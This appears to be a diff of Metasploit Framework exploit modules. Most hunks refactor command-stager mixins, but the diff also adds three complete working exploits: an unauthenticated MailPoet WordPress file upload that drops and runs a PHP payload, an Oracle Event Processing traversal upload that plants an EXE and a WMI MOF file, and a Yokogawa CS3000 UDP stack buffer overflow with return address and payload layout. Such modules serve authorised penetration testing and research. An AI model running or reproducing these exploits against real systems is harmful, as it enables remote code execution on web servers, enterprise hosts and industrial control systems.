@ -94,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.'})
execute_cmdstager({ :temp => '.' })
@payload_exe = payload_exe
print_status("Attempting to execute the payload...")

View File

@ -12,7 +12,7 @@ class Metasploit4 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::CmdStagerVBS
include Msf::Exploit::CmdStager
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
@ -56,7 +56,8 @@ class Metasploit4 < Msf::Exploit::Remote
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
'Platform' => 'win',
'CmdStagerFlavor' => 'vbs'
},
],
],

View File

@ -26,7 +26,7 @@ class Metasploit4 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::CmdStagerVBS
include Msf::Exploit::CmdStager
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpClient
@ -66,7 +66,8 @@ class Metasploit4 < Msf::Exploit::Remote
[ 'Windows x64',
{
'Arch' => ARCH_X86_64,
'Platform' => 'win'
'Platform' => 'win',
'CmdStagerFlavor' => 'vbs'
}
]
],

View File

@ -26,7 +26,7 @@ class Metasploit4 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::CmdStagerVBS
include Msf::Exploit::CmdStager
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpClient
@ -67,7 +67,8 @@ class Metasploit4 < Msf::Exploit::Remote
[ 'Windows x64',
{
'Arch' => ARCH_X86_64,
'Platform' => 'win'
'Platform' => 'win',
'CmdStagerFlavor' => 'vbs'
}
]
],

View File

@ -9,7 +9,7 @@ require 'net/ssh'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::CmdStagerBourne
include Msf::Exploit::CmdStager
attr_accessor :ssh_socket
@ -46,21 +46,22 @@ class Metasploit3 < Msf::Exploit::Remote
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
},
}
],
[ 'Linux x64',
{
'Arch' => ARCH_X86_64,
'Platform' => 'linux'
},
}
],
[ 'OSX x86',
{
'Arch' => ARCH_X86,
'Platform' => 'osx'
},
],
}
]
],
'CmdStagerFlavor' => %w{ bourne echo printf },
'DefaultTarget' => 0,
# For the CVE
'DisclosureDate' => 'Jan 01 1999'
@ -83,6 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
def execute_command(cmd, opts = {})
vprint_status("Executing #{cmd}")
begin
Timeout.timeout(3) do
self.ssh_socket.exec!("#{cmd}\n")
@ -125,7 +127,7 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT'])
print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending Bourne stager...")
print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending stager...")
execute_cmdstager({:linemax => 500})
end
end

View File

@ -0,0 +1,143 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress MailPoet Newsletters (wysija-newsletters) Unauthenticated File Upload',
'Description' => %q{
The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.8
is vulnerable to an unauthenticated file upload. The exploit uses the Upload Theme
functionality to upload a zip file containing the payload. The plugin uses the
admin_init hook, which is also executed for unauthenticated users when accessing
a specific URL. The first fix for this vulnerability appeared in version 2.6.7,
but the fix can be bypassed. In PHP's default configuration,
a POST variable overwrites a GET variable in the $_REQUEST array. The plugin
uses $_REQUEST to check for access rights. By setting the POST parameter to
something not beginning with 'wysija_', the check is bypassed. Wordpress uses
the $_GET array to determine the page, so it is not affected by this.
},
'Author' =>
[
'Marc-Alexandre Montpas', # initial discovery
'Christian Mehlmauer' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html' ],
[ 'URL', 'http://www.mailpoet.com/security-update-part-2/'],
[ 'URL', 'https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['wysija-newsletters < 2.6.8', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 1 2014'))
end
def create_zip_file(theme_name, payload_name)
# the zip file must match the following:
# -) Exactly one folder representing the theme name
# -) A style.css in the theme folder
# -) Additional files in the folder
content = {
::File.join(theme_name, 'style.css') => '',
::File.join(theme_name, payload_name) => payload.encoded
}
zip_file = Rex::Zip::Archive.new
content.each_pair do |name, content|
zip_file.add_file(name, content)
end
zip_file.pack
end
def check
readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wysija-newsletters', 'readme.txt')
res = send_request_cgi({
'uri' => readme_url,
'method' => 'GET'
})
# no readme.txt present
if res.nil? || res.code != 200
return Msf::Exploit::CheckCode::Unknown
end
# try to extract version from readme
# Example line:
# Stable tag: 2.6.6
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
# readme present, but no version number
if version.nil?
return Msf::Exploit::CheckCode::Detected
end
print_status("#{peer} - Found version #{version} of the plugin")
if Gem::Version.new(version) < Gem::Version.new('2.6.8')
return Msf::Exploit::CheckCode::Appears
else
return Msf::Exploit::CheckCode::Safe
end
end
def exploit
theme_name = rand_text_alpha(10)
payload_name = "#{rand_text_alpha(10)}.php"
zip_content = create_zip_file(theme_name, payload_name)
uri = normalize_uri(target_uri.path, 'wp-admin', 'admin-post.php')
data = Rex::MIME::Message.new
data.add_part(zip_content, 'application/x-zip-compressed', 'binary', "form-data; name=\"my-theme\"; filename=\"#{rand_text_alpha(5)}.zip\"")
data.add_part('on', nil, nil, 'form-data; name="overwriteexistingtheme"')
data.add_part('themeupload', nil, nil, 'form-data; name="action"')
data.add_part('Upload', nil, nil, 'form-data; name="submitter"')
data.add_part(rand_text_alpha(10), nil, nil, 'form-data; name="page"')
post_data = data.to_s
payload_uri = normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wysija', 'themes', theme_name, payload_name)
print_status("#{peer} - Uploading payload to #{payload_uri}")
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'vars_get' => { 'page' => 'wysija_campaigns', 'action' => 'themes' },
'data' => post_data
})
if res.nil? || res.code != 302 || res.headers['Location'] != 'admin.php?page=wysija_campaigns&action=themes&reload=1&redirect=1'
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
end
# Files to cleanup (session is dropped in the created folder):
# style.css
# the payload
# the theme folder (manual cleanup)
register_files_for_cleanup('style.css', payload_name)
print_warning("#{peer} - The theme folder #{theme_name} can not be removed. Please delete it manually.")
print_status("#{peer} - Executing payload #{payload_uri}")
res = send_request_cgi({
'uri' => payload_uri,
'method' => 'GET'
})
end
end

View File

@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerEcho
include Msf::Exploit::CmdStager
include Msf::Exploit::EXE
def initialize(info={})
@ -47,6 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote
[
OptString.new('TARGETURI', [true, 'The base path to the ZeroShell instance', '/'])
], self.class)
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
end
def uri
@ -149,7 +150,7 @@ class Metasploit3 < Msf::Exploit::Remote
@session = login(admin_password)
execute_cmdstager
execute_cmdstager({:flavor => :echo})
end
end

View File

@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStagerTFTP
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
@ -39,6 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'Privileged' => true,
'Platform' => 'win',
'CmdStagerFlavor' => 'tftp',
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 26 2010'))
@ -50,11 +51,8 @@ class Metasploit3 < Msf::Exploit::Remote
end
def windows_stager
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.'})
execute_cmdstager({ :temp => '.' })
@payload_exe = payload_exe
print_status("Attempting to execute the payload...")

View File

@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStagerTFTP
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
@ -38,6 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
}
]
],
'CmdStagerFlavor' => 'tftp',
'Privileged' => true,
'Platform' => 'win',
'DefaultTarget' => 0,
@ -55,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.'})
execute_cmdstager({ :temp => '.' })
@payload_exe = payload_exe
print_status("Attempting to execute the payload...")

View File

@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include REXML
include Msf::Exploit::CmdStagerVBS
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
@ -52,6 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote
Opt::RPORT(9090),
OptString.new('TARGETURI', [true, 'The base path', '/'])
], self.class)
deregister_options('CMDSTAGER::FLAVOR')
end
def check
@ -71,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
print_status("#{peer} - Sending payload")
# Execute the cmdstager, max length of the commands is ~3950
execute_cmdstager({:linemax => 3950})
execute_cmdstager({:flavor => :vbs, :linemax => 3950})
end
def execute_command(cmd, opts = {})

View File

@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::CmdStagerVBS
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
@ -50,6 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote
[
[ 'Automatic', { } ],
],
'CmdStagerFlavor' => 'vbs',
'DisclosureDate' => 'Jun 09 2009',
'DefaultTarget' => 0))
end

View File

@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStagerVBS
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
@ -50,6 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote
# Tested on Windows XP and Windows 2003
[ 'EMC Replication Manager 5.2.1 / Windows Native Payload', { } ]
],
'CmdStagerFlavor' => 'vbs',
'DefaultOptions' =>
{
'WfsDelay' => 5

View File

@ -8,7 +8,7 @@ require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStagerTFTP
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
@ -38,6 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
}
]
],
'CmdStagerFlavor' => 'tftp',
'Privileged' => true,
'Platform' => 'win',
'DisclosureDate' => 'Apr 13 2011',
@ -52,11 +53,8 @@ class Metasploit3 < Msf::Exploit::Remote
end
def windows_stager
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.'})
execute_cmdstager({ :temp => '.' })
@payload_exe = payload_exe
print_status("Attempting to execute the payload...")

View File

@ -22,7 +22,8 @@ class Metasploit3 < Msf::Exploit::Remote
makes insecure use of the datahub_command function with user controlled
data, allowing execution of arbitrary datahub commands and scripts. This
module has been tested successfully with Cogent DataHub 7.3.4 on
Windows 7 SP1.
Windows 7 SP1. Please also note that after exploitation, the remote service
will most likely hang and restart manually.
},
'Author' => [
'John Leitch', # Vulnerability discovery

View File

@ -17,9 +17,9 @@ class Metasploit3 < Msf::Exploit::Remote
'Description' => %q{
This module exploits a code execution flaw in HP AutoPass License Server. It abuses two
weaknesses in order to get its objective. First, the AutoPass application doesn't enforce
authentication in the CommunicationServlet component. On the other hand, it's possible to
abuse a directory traversal when uploading files thorough the same component, allowing to
upload an arbitrary payload embedded in a JSP. The module has been tested successfully on
authentication in the CommunicationServlet component. Seond, it's possible to abuse a
directory traversal when uploading files thorough the same component, allowing to upload
an arbitrary payload embedded in a JSP. The module has been tested successfully on
HP AutoPass License Server 8.01 as installed with HP Service Virtualization 3.50.
},
'Author' =>

View File

@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerVBS
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
@ -42,6 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Privileged' => true,
'Platform' => 'win',
'Arch' => ARCH_X86,
'CmdStagerFlavor' => 'vbs',
'Targets' =>
[
[ 'HP SiteScope 11.20 (with Operations Agent) / Windows 2003 SP2', {} ]
@ -49,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'DECODERSTUB' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot")
'CMDSTAGER::DECODER' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot")
},
'DisclosureDate' => 'Jul 29 2013'))

View File

@ -0,0 +1,132 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle Event Processing FileUploadServlet Arbitrary File Upload',
'Description' => %q{
This module exploits an arbitrary file upload vulnerability in Oracle Event Processing
11.1.1.7.0. The FileUploadServlet component, which requires no authentication, can be
abused to upload a malicious file onto an arbitrary location due to a directory traversal
flaw, and compromise the server. By default Oracle Event Processing uses a Jetty
Application Server without JSP support, which limits the attack to WbemExec. The current
WbemExec technique only requires arbitrary write to the file system, but at the moment the
module only supports Windows 2003 SP2 or older.
},
'License' => MSF_LICENSE,
'Author' =>
[
'rgod <rgod[at]autistici.org>', # Vulnerability Discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
['CVE', '2014-2424'],
['ZDI', '14-106'],
['BID', '66871'],
['URL', 'http://www.oracle.com/technetwork/topics/security/cpuapr2014-1972952.html']
],
'DefaultOptions' =>
{
'WfsDelay' => 5
},
'Payload' =>
{
'DisableNops' => true,
'Space' => 2048
},
'Platform' => 'win',
'Arch' => ARCH_X86,
'Targets' =>
[
['Oracle Event Processing 11.1.1.7.0 / Windows 2003 SP2 through WMI', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 21 2014'))
register_options(
[
Opt::RPORT(9002),
# By default, uploads are stored in:
# C:\Oracle\Middleware\user_projects\domains\<DOMAIN>\defaultserver\upload\
OptInt.new('DEPTH', [true, 'Traversal depth', 7])
], self.class)
end
def upload(file_name, contents)
post_data = Rex::MIME::Message.new
post_data.add_part(rand_text_alpha(4 + rand(4)), nil, nil, "form-data; name=\"Filename\"")
post_data.add_part(contents, "application/octet-stream", "binary", "form-data; name=\"uploadfile\"; filename=\"#{file_name}\"")
data = post_data.to_s
res = send_request_cgi({
'uri' => '/wlevs/visualizer/upload',
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => data
})
res
end
def traversal
"../" * datastore['DEPTH']
end
def exploit
print_status("#{peer} - Generating payload and mof file...")
mof_name = "#{rand_text_alpha(rand(5)+5)}.mof"
exe_name = "#{rand_text_alpha(rand(5)+5)}.exe"
exe_content = generate_payload_exe
mof_content = generate_mof(mof_name, exe_name)
print_status("#{peer} - Uploading the exe payload #{exe_name}...")
exe_traversal = "#{traversal}WINDOWS/system32/#{exe_name}"
res = upload(exe_traversal, exe_content)
unless res && res.code == 200 && res.body.blank?
print_error("#{peer} - Unexpected answer, trying anyway...")
end
register_file_for_cleanup(exe_name)
print_status("#{peer} - Uploading the MOF file #{mof_name}")
mof_traversal = "#{traversal}WINDOWS/system32/wbem/mof/#{mof_name}"
upload(mof_traversal, mof_content)
register_file_for_cleanup("wbem/mof/good/#{mof_name}")
end
def check
res = send_request_cgi({
'uri' => '/ohw/help/state',
'method' => 'GET',
'vars_get' => {
'navSetId' => 'cepvi',
'navId' => '0',
'destination' => ''
}
})
if res && res.code == 200
if res.body.to_s.include?("Oracle Event Processing 11g Release 1 (11.1.1.7.0)")
return Exploit::CheckCode::Detected
elsif res.body.to_s.include?("Oracle Event Processing 12")
return Exploit::CheckCode::Safe
end
end
Exploit::CheckCode::Unknown
end
end

View File

@ -8,7 +8,7 @@ require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStagerTFTP
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
@ -39,6 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote
}
]
],
'CmdStagerFlavor' => 'tftp',
'Privileged' => true,
'Platform' => 'win',
'DisclosureDate' => 'Jul 13 2010',
@ -53,11 +54,8 @@ class Metasploit3 < Msf::Exploit::Remote
end
def windows_stager
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.'})
execute_cmdstager({ :temp => '.' })
@payload_exe = payload_exe
print_status("Attempting to execute the payload...")

View File

@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerVBS
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
def initialize(info = {})
@ -43,6 +43,7 @@ class Metasploit3 < Msf::Exploit
}
]
],
'CmdStagerFlavor' => 'vbs',
'DefaultTarget' => 0,
'Privileged' => false
))

View File

@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
# NOTE: This cannot be an HttpClient module since the response from the server
# is not a valid HttpResponse
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStagerTFTP
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
@ -38,6 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
[
[ 'Automatic', { } ]
],
'CmdStagerFlavor' => 'tftp',
'DefaultTarget' => 0,
'DisclosureDate' => 'May 15 2001'
))
@ -191,7 +192,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
# Use the CMD stager to get a payload running
execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname })
execute_cmdstager({:temp => '.', :linemax => 1400, :cgifname => exe_fname})
# Save these file names for later deletion
@exe_cmd_copy = exe_fname

View File

@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerTFTP
include Msf::Exploit::CmdStager
def initialize
super(
@ -50,6 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote
# w2k w/sp0, IIS5.0, mdac 2.7 RTM, sql2000, handunsf.reg, over xp_cmdshell, reverse_tcp
[ 'Automatic', { } ],
],
'CmdStagerFlavor' => 'tftp',
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 17 1998'
)

View File

@ -32,11 +32,9 @@ class Metasploit3 < Msf::Exploit::Local
super( update_info( info,
'Name' => 'MS14-009 .NET Deployment Service IE Sandbox Escape',
'Description' => %q{
This module abuses a process creation policy in the Internet Explorer Sandbox which allows
to escape the Enhanced Protected Mode and execute code with Medium Integrity. The problem
exists in the .NET Deployment Service (dfsvc.exe), which can be run as Medium Integrity
Level. Further interaction with the component allows to escape the Enhanced Protected Mode
and execute arbitrary code with Medium Integrity.
This module abuses a process creation policy in Internet Explorer's sandbox, specifically
in the .NET Deployment Service (dfsvc.exe), which allows the attacker to escape the
Enhanced Protected Mode, and execute code with Medium Integrity.
},
'License' => MSF_LICENSE,
'Author' =>

View File

@ -7,7 +7,7 @@ require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::CmdStagerTFTP
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote
OptBool.new('DISABLE_SECURITY', [ true, "Exploit SQLi to execute wc_upd_disable_security and disable Console Authentication", false ]),
OptBool.new('ENABLE_SECURITY', [ true, "Enable Local Deployment Console Authentication", false ])
], self.class)
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
end
def execute_command(cmd, opts = {})
@ -159,7 +159,7 @@ Processor-Speed=#{processor_speed}
# CmdStagerVBS was tested here as well, however delivery took roughly
# 30 minutes and required sending almost 350 notification messages.
# size constraint requirement for SQLi is: linemax => 393
execute_cmdstager({ :delay => 1.5, :temp => '%TEMP%\\'})
execute_cmdstager({:delay => 1.5, :temp => '%TEMP%\\', :flavor => :tftp})
end
def on_new_session(client)

View File

@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Powershell
include Msf::Exploit::CmdStagerVBS
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'DECODERSTUB' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot")
'CMDSTAGER::DECODER' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot")
},
'Platform' => 'win',
'Targets' =>
@ -59,8 +59,8 @@ class Metasploit3 < Msf::Exploit::Remote
[
Opt::RPORT(5555),
OptString.new('CMDPATH', [true, 'The cmd.exe path', 'c:\\windows\\system32\\cmd.exe'])
],
self.class)
], self.class)
deregister_options('CMDSTAGER::FLAVOR')
end
def check
@ -92,7 +92,7 @@ class Metasploit3 < Msf::Exploit::Remote
if target.name =~ /VBScript CMDStager/
# 7500 just in case, to be sure the command fits after
# environment variables expansion
execute_cmdstager({:linemax => 7500})
execute_cmdstager({:flavor => :vbs, :linemax => 7500})
elsif target.name =~ /Powershell/
# Environment variables are not being expanded before, neither in CreateProcess
command = cmd_psh_payload(payload.encoded).gsub(/%COMSPEC% /, "")

View File

@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::MSSQL
include Msf::Auxiliary::Report
include Msf::Exploit::CmdStagerVBS
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
@ -55,6 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote
[
[ 'Automatic', { } ],
],
'CmdStagerFlavor' => 'vbs',
'DefaultTarget' => 0
))

View File

@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::MSSQL
include Msf::Exploit::CmdStagerVBS
include Msf::Exploit::CmdStager
#include Msf::Exploit::CmdStagerDebugAsm
#include Msf::Exploit::CmdStagerDebugWrite
#include Msf::Exploit::CmdStagerTFTP
@ -58,6 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote
[
[ 'Automatic', { } ],
],
'CmdStagerFlavor' => 'vbs',
'DefaultTarget' => 0,
'DisclosureDate' => 'May 30 2000'
))

View File

@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::MSSQL_SQLI
include Msf::Exploit::CmdStagerVBS
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
@ -83,6 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote
[
[ 'Automatic', { } ],
],
'CmdStagerFlavor' => 'vbs',
'DefaultTarget' => 0,
'DisclosureDate' => 'May 30 2000'
))

View File

@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::MYSQL
include Msf::Exploit::CmdStagerVBS
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
@ -44,6 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote
[
[ 'Automatic', { } ], # Confirmed on MySQL 4.1.22, 5.5.9, and 5.1.56 (64bit)
],
'CmdStagerFlavor' => 'vbs',
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 16 2009' # Date of Bernardo's blog post.
))

View File

@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::SMB
include Msf::Exploit::CmdStagerVBS
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
@ -40,6 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote
# This module has been tested on Oracle 10g Release 1
# where the Oracle Job Scheduler runs as SYSTEM on Windows
'Targets' => [['Automatic',{}]],
'CmdStagerFlavor' => 'vbs',
'Privileged' => true,
'DisclosureDate' => 'Jan 01 2007',
'DefaultTarget' => 0))

View File

@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStagerVBS
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
@ -45,6 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote
[
[ 'ABB MicroSCADA Pro SYS600 9.3', { } ]
],
'CmdStagerFlavor' => 'vbs',
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => 'Apr 05 2013'

View File

@ -0,0 +1,75 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'Yokogawa CS3000 BKFSim_vhfd.exe Buffer Overflow',
'Description' => %q{
This module exploits an stack based buffer overflow on Yokogawa CS3000. The vulnerability
exists in the service BKFSim_vhfd.exe when using malicious user-controlled data to create
logs using functions like vsprintf and memcpy in a insecure way. This module has been
tested successfully on Yokogawa Centum CS3000 R3.08.50 over Windows XP SP3.
},
'Author' =>
[
'Redsadic <julian.vilas[at]gmail.com>',
'juan vazquez'
],
'References' =>
[
['CVE', '2014-3888'],
['URL', 'http://jvn.jp/vu/JVNVU95045914/index.html'],
['URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0002E.pdf'],
['URL', 'https://community.rapid7.com/community/metasploit/blog/2014/07/07/r7-2014-06-disclosure-yokogawa-centum-cs-3000-bkfsimvhfdexe-buffer-overflow']
],
'Payload' =>
{
'Space' => 1770, # 2228 (max packet length) - 16 (header) - (438 target['Offset']) - 4 (ret)
'DisableNops' => true,
'BadChars' => "\x00",
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'Platform' => 'win',
'Targets' =>
[
[ 'Yokogawa Centum CS3000 R3.08.50 / Windows XP SP3',
{
'Ret' => 0x61e55c9c, # push esp | ret # LibBKCCommon.dll
'Offset' => 438
}
],
],
'DisclosureDate' => 'May 23 2014',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(20010)
], self.class)
end
def exploit
connect_udp
sploit = "\x45\x54\x56\x48\x01\x01\x10\x09\x00\x00\x00\x01\x00\x00\x00\x44" # header
sploit << rand_text(target['Offset'])
sploit << [target.ret].pack("V")
sploit << payload.encoded
print_status("Trying target #{target.name}, sending #{sploit.length} bytes...")
udp_sock.put(sploit)
disconnect_udp
end
end

View File

@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::WinRM
include Msf::Exploit::CmdStagerVBS
include Msf::Exploit::CmdStager
def initialize(info = {})
@ -23,7 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote
delivery: Powershell 2.0 and VBS CmdStager.
The module will check if Powershell 2.0 is available, and if so uses
that method. Otherwise it falls back to the VBS Cmdstager which is
that method. Otherwise it falls back to the VBS CmdStager which is
less stealthy.
IMPORTANT: If targeting an x64 system with the Powershell method
@ -41,6 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote
'WfsDelay' => 30,
'EXITFUNC' => 'thread',
'InitialAutoRunScript' => 'post/windows/manage/smart_migrate',
'CMDSTAGER::DECODER' => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_sleep")
},
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
@ -59,12 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote
OptString.new('PASSWORD', [ true, 'A specific password to authenticate with' ]),
], self.class
)
register_advanced_options(
[
